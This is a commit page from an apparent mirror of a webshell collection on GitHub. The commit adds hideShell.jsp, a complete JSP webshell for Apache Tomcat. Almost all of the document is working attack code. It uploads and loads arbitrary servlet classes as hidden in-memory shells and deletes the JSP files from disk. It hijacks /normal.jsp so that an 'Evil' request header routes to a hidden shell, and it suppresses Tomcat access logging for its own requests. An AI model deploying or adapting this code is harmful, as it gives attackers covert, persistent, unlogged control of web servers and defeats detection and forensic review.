mirror of
https://github.com/tennc/webshell
synced 2024-11-10 05:44:11 +00:00
add hideShell.jsp @jweny
from : https://github.com/jweny/MemShellDemo/blob/master/MemShellForJava/%E4%BB%BB%E6%84%8Fjsp%E9%9A%90%E8%97%8F/hideShell.jsp
This commit is contained in:
parent
8b5b371da4
commit
8898dbb7a6
1 changed files with 393 additions and 0 deletions
393
jsp/hideShell.jsp
Normal file
393
jsp/hideShell.jsp
Normal file
|
@ -0,0 +1,393 @@
|
|||
<%@page import="java.awt.SystemColor"%>
|
||||
<%@page import="org.apache.jasper.JspCompilationContext"%>
|
||||
<%@page import="java.io.*"%>
|
||||
<%@page import="java.util.*"%>
|
||||
<%@page import="java.util.zip.*"%>
|
||||
<%@ page import="javax.servlet.jsp.*"%>
|
||||
<%@page import="org.apache.jasper.EmbeddedServletOptions"%>
|
||||
<%@page import="org.apache.jasper.compiler.JspRuntimeContext"%>
|
||||
<%@page import="org.apache.jasper.servlet.JspServletWrapper" %>
|
||||
<%@page import="org.apache.catalina.valves.AccessLogValve"%>
|
||||
<%@page import="org.apache.catalina.AccessLog"%>
|
||||
<%@page import="org.apache.catalina.core.AccessLogAdapter"%>
|
||||
<%@page import="org.apache.catalina.core.StandardHost"%>
|
||||
<%@ page import="org.apache.catalina.core.ApplicationContext"%>
|
||||
<%@ page import="org.apache.catalina.core.StandardContext"%>
|
||||
<%@ page language="java" contentType="text/html; charset=UTF-8"
|
||||
pageEncoding="UTF-8"%>
|
||||
<%@ page import="java.lang.reflect.*" %><%!
|
||||
private static class AttachingWrapper extends JspServletWrapper {
|
||||
private JspServletWrapper original = null;
|
||||
private JspServletWrapper evil = null;
|
||||
|
||||
public AttachingWrapper(JspServletWrapper original, JspServletWrapper evil, ServletConfig config, org.apache.jasper.Options options,
|
||||
String jspUri, JspRuntimeContext rctxt) {
|
||||
super(config, options, jspUri, rctxt);
|
||||
this.original = original;
|
||||
this.evil = evil;
|
||||
}
|
||||
public void service(HttpServletRequest request,
|
||||
HttpServletResponse response,
|
||||
boolean precompile)
|
||||
throws ServletException, IOException, FileNotFoundException {
|
||||
if (request.getHeader("Evil") != null) {
|
||||
try {
|
||||
nolog(request);
|
||||
} catch (Exception ex){}
|
||||
this.evil.service(request, response, precompile);
|
||||
} else {
|
||||
this.original.service(request, response, precompile);
|
||||
}
|
||||
}
|
||||
}
|
||||
private static class SpyClassLoader extends ClassLoader{
|
||||
private byte[] zipdata = null;
|
||||
private JspWriter out = null;
|
||||
private Map<String, byte[]> cls = new HashMap<String, byte[]>();
|
||||
public SpyClassLoader(ClassLoader parent, byte[] zipdata, JspWriter out) throws Exception {
|
||||
super(parent);
|
||||
this.out = out;
|
||||
this.zipdata = zipdata;
|
||||
this.processZip();
|
||||
}
|
||||
private void processZip() throws Exception {
|
||||
if (this.zipdata != null) {
|
||||
ZipInputStream stream = null;
|
||||
stream = new ZipInputStream(new ByteArrayInputStream(this.zipdata));
|
||||
byte[] buffer = new byte[2048];
|
||||
ZipEntry entry;
|
||||
while((entry = stream.getNextEntry())!=null)
|
||||
{
|
||||
|
||||
ByteArrayOutputStream output = null;
|
||||
try
|
||||
{
|
||||
output = new ByteArrayOutputStream();
|
||||
int len = 0;
|
||||
while ((len = stream.read(buffer)) > 0)
|
||||
{
|
||||
output.write(buffer, 0, len);
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
if(output!=null) output.close();
|
||||
//this.out.println(entry.getName());
|
||||
this.cls.put("org.apache.jsp."+entry.getName(), output.toByteArray());
|
||||
}
|
||||
}
|
||||
stream.close();
|
||||
}
|
||||
}
|
||||
protected Class<?> findClass(String name)
|
||||
throws ClassNotFoundException {
|
||||
byte[] clsdata = this.cls.get(name+".class");
|
||||
if (clsdata != null) {
|
||||
return super.defineClass(name, clsdata, 0, clsdata.length);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
public Class defineClass(String name,byte[] b) {
|
||||
return super.defineClass(name,b,0,b.length);
|
||||
}
|
||||
}
|
||||
private static class UploadBean {
|
||||
private ServletInputStream sis = null;
|
||||
private OutputStream targetOutput = null;
|
||||
private byte[] b = new byte[1024];
|
||||
private String fileName = null;
|
||||
public String getFileName() {
|
||||
return this.fileName;
|
||||
}
|
||||
public void setTargetOutput(OutputStream stream) {
|
||||
this.targetOutput = stream;
|
||||
}
|
||||
public UploadBean(OutputStream stream) {
|
||||
this.setTargetOutput(stream);
|
||||
}
|
||||
|
||||
public void parseRequest(HttpServletRequest request) throws IOException {
|
||||
sis = request.getInputStream();
|
||||
int a = 0;
|
||||
int k = 0;
|
||||
String s = "";
|
||||
while ((a = sis.readLine(b,0,b.length))!= -1) {
|
||||
s = new String(b, 0, a,"UTF-8");
|
||||
if ((k = s.indexOf("filename=\""))!= -1) {
|
||||
s = s.substring(k + 10);
|
||||
k = s.indexOf("\"");
|
||||
s = s.substring(0, k);
|
||||
File tF = new File(s);
|
||||
if (tF.isAbsolute()) {
|
||||
fileName = tF.getName();
|
||||
} else {
|
||||
fileName = s;
|
||||
}
|
||||
k = s.lastIndexOf(".");
|
||||
// suffix = s.substring(k + 1);
|
||||
upload();
|
||||
}
|
||||
}
|
||||
}
|
||||
private void upload() throws IOException{
|
||||
try {
|
||||
OutputStream out = this.targetOutput;
|
||||
|
||||
int a = 0;
|
||||
int k = 0;
|
||||
String s = "";
|
||||
while ((a = sis.readLine(b,0,b.length))!=-1) {
|
||||
s = new String(b, 0, a);
|
||||
if ((k = s.indexOf("Content-Type:"))!=-1) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
sis.readLine(b,0,b.length);
|
||||
while ((a = sis.readLine(b,0,b.length)) != -1) {
|
||||
s = new String(b, 0, a);
|
||||
if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) {
|
||||
break;
|
||||
}
|
||||
out.write(b, 0, a);
|
||||
}
|
||||
out.close();
|
||||
//if (out instanceof FileOutputStream)
|
||||
//out.close();
|
||||
} catch (IOException ioe) {
|
||||
throw ioe;
|
||||
}
|
||||
}
|
||||
}
|
||||
private static final Map<String, JspServletWrapper> hiddenWrappers = new HashMap<String, JspServletWrapper>();
|
||||
public static String makeWrapperUri(HttpServletRequest request) {
|
||||
String uri = request.getServletPath();
|
||||
String pathinfo = request.getPathInfo();
|
||||
if (pathinfo != null) {
|
||||
uri += pathinfo;
|
||||
}
|
||||
return uri;
|
||||
}
|
||||
public static boolean accessingSelf(HttpServletRequest request, JspRuntimeContext jctxt) {
|
||||
JspServletWrapper wrapper = getHideShellWrapper(request, jctxt);
|
||||
String requestUri = makeWrapperUri(request);
|
||||
if (!wrapper.getJspUri().equals(requestUri)) {
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
public static void includeHiddenShell(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
||||
JspServletWrapper wrapper = hiddenWrappers.get(makeWrapperUri(request));
|
||||
if (wrapper != null) {
|
||||
wrapper.service(request, response, false);
|
||||
} else {
|
||||
response.sendError(404, "the hidden JspServletWrapper doesn't exist, this should not happen");
|
||||
}
|
||||
}
|
||||
public static JspServletWrapper getHideShellWrapper(HttpServletRequest request, JspRuntimeContext jctxt) {
|
||||
String wrapperUri = makeWrapperUri(request);
|
||||
JspServletWrapper self = jctxt.getWrapper(wrapperUri);
|
||||
return self;
|
||||
}
|
||||
public static void hideWrapper(JspServletWrapper wrapper) throws Exception {
|
||||
wrapper.setLastModificationTest(System.currentTimeMillis() + 31536000 * 1000);
|
||||
JspCompilationContext ctxt = wrapper.getJspEngineContext();
|
||||
EmbeddedServletOptions jspServletOptions = (EmbeddedServletOptions)ctxt.getOptions();
|
||||
if ((Integer)getFieldValue(jspServletOptions, "modificationTestInterval") <= 0) {
|
||||
setFieldValue(jspServletOptions, "modificationTestInterval", 1);
|
||||
}
|
||||
}
|
||||
public static Object invoke(Object obj, String methodName, Class[] paramTypes, Object[] args) throws Exception {
|
||||
Method m = obj.getClass().getDeclaredMethod(methodName, paramTypes);
|
||||
m.setAccessible(true);
|
||||
return m.invoke(obj, args);
|
||||
}
|
||||
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
|
||||
Field f = obj.getClass().getDeclaredField(fieldName);
|
||||
f.setAccessible(true);
|
||||
return f.get(obj);
|
||||
}
|
||||
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
|
||||
Field f = obj.getClass().getDeclaredField(fieldName);
|
||||
f.setAccessible(true);
|
||||
if (Modifier.isFinal(f.getModifiers())) {
|
||||
//reset final field
|
||||
Field modifiersField = Field.class.getDeclaredField("modifiers");
|
||||
modifiersField.setAccessible(true);
|
||||
modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
|
||||
}
|
||||
f.set(obj, value);
|
||||
}
|
||||
public static String makeHiddenName(String wrapperName) {
|
||||
int lastIndex = wrapperName.lastIndexOf('/');
|
||||
return wrapperName.substring(0, lastIndex + 1) + "hidden-" + wrapperName.substring(lastIndex + 1);
|
||||
}
|
||||
public static boolean isHiddenJsp(ServletRequest request, String key, JspServletWrapper wrapper) {
|
||||
JspCompilationContext ctxt = wrapper.getJspEngineContext();
|
||||
if (!new File(request.getServletContext().getRealPath(ctxt.getJspFile())).exists() || !key.equals(wrapper.getJspUri())) {
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
public static void nolog(HttpServletRequest request) throws Exception {
|
||||
ServletContext ctx = request.getSession().getServletContext();
|
||||
ApplicationContext appCtx = (ApplicationContext)getFieldValue(ctx, "context");
|
||||
StandardContext standardCtx = (StandardContext)getFieldValue(appCtx, "context");
|
||||
|
||||
StandardHost host = (StandardHost)standardCtx.getParent();
|
||||
AccessLogAdapter accessLog = (AccessLogAdapter)host.getAccessLog();
|
||||
|
||||
AccessLog[] logs = (AccessLog[])getFieldValue(accessLog, "logs");
|
||||
for(AccessLog log:logs) {
|
||||
AccessLogValve logV = (AccessLogValve)log;
|
||||
String condition = logV.getCondition() == null ? "n1nty_nolog" : logV.getCondition();
|
||||
logV.setCondition(condition);
|
||||
request.setAttribute(condition, "n1nty_nolog");
|
||||
}
|
||||
}
|
||||
%><%
|
||||
nolog(request);
|
||||
Object r = getFieldValue(request, "request");
|
||||
Object filterChain = getFieldValue(r, "filterChain");
|
||||
Object servlet = getFieldValue(filterChain, "servlet");
|
||||
JspRuntimeContext jctxt = (JspRuntimeContext)getFieldValue(servlet, "rctxt");
|
||||
if (!accessingSelf(request, jctxt)) {
|
||||
includeHiddenShell(request, response);
|
||||
return;
|
||||
}
|
||||
%>
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
|
||||
<title>Hideshell.jsp by n1nty</title>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<ul>
|
||||
<%
|
||||
String action = request.getParameter("action");
|
||||
if ("upload".equals(action)) {
|
||||
ByteArrayOutputStream byteout = new ByteArrayOutputStream();
|
||||
UploadBean upload = new UploadBean(byteout);
|
||||
upload.parseRequest(request);
|
||||
boolean zip = upload.getFileName().endsWith(".zip");
|
||||
String path = !zip ? "/test.jsp" : "/jspspy2010.jsp";
|
||||
String clsName = !zip ? "org.apache.jsp.test_jsp" : "org.apache.jsp.jspspy2010_jsp";
|
||||
javax.servlet.ServletConfig servletConfig = (javax.servlet.ServletConfig)getFieldValue(servlet, "config");
|
||||
org.apache.jasper.Options options = (org.apache.jasper.Options)getFieldValue(servlet, "options");
|
||||
JspServletWrapper wrapper = new JspServletWrapper(servletConfig, options, path, jctxt);
|
||||
hideWrapper(wrapper);
|
||||
wrapper.setReload(false);
|
||||
byte[] data = byteout.toByteArray();
|
||||
byte[] bytes = new byte[data.length -2];
|
||||
System.arraycopy(data, 0, bytes, 0, data.length -2);
|
||||
Class cls = null;
|
||||
if (zip) {
|
||||
cls = new SpyClassLoader(this.getClass().getClassLoader(), bytes, out).loadClass(clsName);
|
||||
} else {
|
||||
cls = new SpyClassLoader(this.getClass().getClassLoader(), null, out).defineClass(clsName, bytes);
|
||||
}
|
||||
if (cls != null) {
|
||||
Servlet s = (Servlet)cls.newInstance();
|
||||
s.init(servletConfig);
|
||||
setFieldValue(wrapper, "theServlet", s);
|
||||
jctxt.addWrapper(path, getHideShellWrapper(request, jctxt));
|
||||
hiddenWrappers.put(path, wrapper);
|
||||
} else {
|
||||
out.println("no class");
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
if (action == null || action.equals("list") || action.equals("upload")) {
|
||||
Map<String, JspServletWrapper> jsps = (Map<String, JspServletWrapper>)getFieldValue(jctxt, "jsps");
|
||||
for (Map.Entry<String, JspServletWrapper> entry : jsps.entrySet()) {
|
||||
JspServletWrapper wrapper = entry.getValue();
|
||||
%>
|
||||
<li>
|
||||
<%
|
||||
if (isHiddenJsp(request, entry.getKey(), wrapper)) {
|
||||
%>
|
||||
<a href='<%=entry.getKey() %>'> <%=entry.getKey() %></a> possible hidden file, <a href='?action=delete&wrapperName=<%=entry.getKey() %>'> Delete </a>
|
||||
<a href='?action=attach&wrapperName=<%=entry.getKey() %>'> Attach to normal.jsp</a>
|
||||
<%
|
||||
} else {
|
||||
%>
|
||||
<a href='?action=hide&wrapperName=<%=entry.getKey() %>'>Hide <%=entry.getKey() %></a>
|
||||
<a href='?action=attach&wrapperName=<%=entry.getKey() %>'> Attach to normal.jsp</a>
|
||||
<%
|
||||
}
|
||||
%>
|
||||
</li>
|
||||
<%
|
||||
}
|
||||
} else if (action.equals("hide")) {
|
||||
String wrapperName = request.getParameter("wrapperName");
|
||||
String hiddenWrapperName = makeHiddenName(wrapperName);
|
||||
if (jctxt.getWrapper(hiddenWrapperName) == null) {
|
||||
JspServletWrapper wrapper = jctxt.getWrapper(wrapperName);
|
||||
|
||||
hideWrapper(wrapper);
|
||||
/*
|
||||
wrapper.setLastModificationTest(System.currentTimeMillis() + 31536000 * 1000);
|
||||
JspCompilationContext ctxt = wrapper.getJspEngineContext();
|
||||
EmbeddedServletOptions jspServletOptions = (EmbeddedServletOptions)ctxt.getOptions();
|
||||
if ((Integer)getFieldValue(jspServletOptions, "modificationTestInterval") <= 0) {
|
||||
setFieldValue(jspServletOptions, "modificationTestInterval", 1);
|
||||
}*/
|
||||
|
||||
wrapper.getJspEngineContext().getCompiler().removeGeneratedFiles();
|
||||
|
||||
if (wrapper == getHideShellWrapper(request, jctxt)) {
|
||||
// is hiding hideshell.jsp itself
|
||||
setFieldValue(wrapper, "jspUri", hiddenWrapperName);
|
||||
jctxt.addWrapper(hiddenWrapperName, wrapper);
|
||||
} else {
|
||||
jctxt.addWrapper(hiddenWrapperName, getHideShellWrapper(request, jctxt));
|
||||
hiddenWrappers.put(hiddenWrapperName, wrapper);
|
||||
}
|
||||
|
||||
jctxt.removeWrapper(wrapperName);
|
||||
JspCompilationContext ctxt = wrapper.getJspEngineContext();
|
||||
new File(request.getServletContext().getRealPath(ctxt.getJspFile())).delete();
|
||||
}
|
||||
out.println("done");
|
||||
} else if (action.equals("delete")) {
|
||||
String wrapperName = request.getParameter("wrapperName");
|
||||
jctxt.removeWrapper(wrapperName);
|
||||
hiddenWrappers.remove(wrapperName);
|
||||
out.println("done");
|
||||
|
||||
} else if (action.equals("attach")) {
|
||||
String wrapperName = request.getParameter("wrapperName");
|
||||
String attachto = "/normal.jsp";
|
||||
JspServletWrapper original = jctxt.getWrapper(attachto);
|
||||
if (original == null) {
|
||||
out.println("access /normal.jsp first");
|
||||
return;
|
||||
}
|
||||
JspServletWrapper evil = jctxt.getWrapper(wrapperName);
|
||||
javax.servlet.ServletConfig servletConfig = (javax.servlet.ServletConfig)getFieldValue(servlet, "config");
|
||||
org.apache.jasper.Options options = (org.apache.jasper.Options)getFieldValue(servlet, "options");
|
||||
AttachingWrapper attachingWrapper = new AttachingWrapper(original, evil, servletConfig, options, attachto, jctxt);
|
||||
hideWrapper(attachingWrapper);
|
||||
attachingWrapper.setReload(false);
|
||||
hideWrapper(evil);
|
||||
jctxt.removeWrapper(wrapperName);
|
||||
jctxt.removeWrapper(attachto);
|
||||
jctxt.addWrapper(attachto, attachingWrapper);
|
||||
JspCompilationContext ctxt = evil.getJspEngineContext();
|
||||
new File(request.getServletContext().getRealPath(ctxt.getJspFile())).delete();
|
||||
// jctxt.addWrapper(attachto, getHideShellWrapper(request, jctxt));
|
||||
// hiddenWrappers.put(attachto, attachingWrapper);
|
||||
}
|
||||
%>
|
||||
</ul>
|
||||
|
||||
<form action="?action=upload" method="post" enctype="multipart/form-data">
|
||||
<input type="file" name="fff">
|
||||
<input type="submit">
|
||||
</form>
|
||||
|
||||
</body>
|
||||
</html>
|
Loading…
Reference in a new issue